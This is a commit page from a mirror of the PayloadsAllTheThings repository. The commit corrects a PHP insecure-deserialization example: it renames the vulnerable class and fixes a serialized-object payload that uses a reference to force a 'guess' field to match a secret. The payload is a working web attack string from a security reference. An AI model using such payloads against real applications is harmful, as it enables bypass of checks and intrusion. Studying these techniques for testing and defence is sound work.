wanderer/ PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-06-03 07:36:15 +02:00
Code Issues Releases Activity

Update PHP.md 

Fixed the payload (was not working because guess is size 5 instead of 4. 
Changed the name of Object to ObjectExample because Object class name is reserved
This commit is contained in:
romisfrag 2022-11-26 14:28:06 +01:00 committed by GitHub
parent cbb2137f3b
commit f8ab0ca3bb
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
Insecure Deserialization/PHP.md
View File

@ -88,7 +88,7 @@ Vulnerable code:
```php
<?php
class Object
class ObjectExample
{
var $guess;
var $secretCode;
@ -108,7 +108,7 @@ if($obj) {
Payload:
```php
O:6:"Object":2:{s:10:"secretCode";N;s:4:"guess";R:2;}
O:13:"ObjectExample":2:{s:10:"secretCode";N;s:5:"guess";R:2;}
```
We can do an array like this: